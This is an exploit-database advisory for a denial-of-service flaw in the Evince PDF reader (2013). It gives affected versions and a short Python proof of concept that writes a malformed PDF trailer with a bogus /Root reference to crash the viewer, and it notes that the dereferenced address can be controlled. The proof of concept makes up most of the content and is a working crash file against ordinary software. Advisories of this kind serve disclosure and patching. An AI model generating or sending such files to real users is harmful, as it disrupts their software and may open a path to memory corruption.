Evince PDF Reader 2.32.0.145 (Windows) / 3.4.0 (Linux) - Denial of Service



EKU-ID: 33896 CVE: OSVDB-98690 OSVDB-ID:
Author: Deva Published: 2013-10-02 Verified: Verified
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Advisory Information :
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Title : Evince 2.32.0.145 - Denial Of Service
Product : Evince pdf reader
Vendor Homepage: https://projects.gnome.org/evince/
Vulnerable Version(s) : Windows 2.32.0.145, Linux 3.4.0 and probably prior release
Tested Version : Windows 2.32.0.145, Linux 3.4.0
Tested On : Windows 7 & 8, Ubuntu 13.04
Discovered By : Deva, Securimag Team

Introduction :
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Evince is a document viewer for multiple document formats.
The goal of evince is to replace the multiple document viewers that exist on the GNOME Desktop with a single simple application.

- Copied from : https://projects.gnome.org/evince/

Proof Of Concept :
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You can control dereferenced address by changing value of /Root (here 42)

#!/usr/bin/python

pdf = """trailer
<<
/Size 1337
/Root 42 0 R
>>
startxref
1
%%EOF
"""

filename = "EvincePoC.pdf"
file = open(filename,"w")
file.writelines(pdf)
file.close()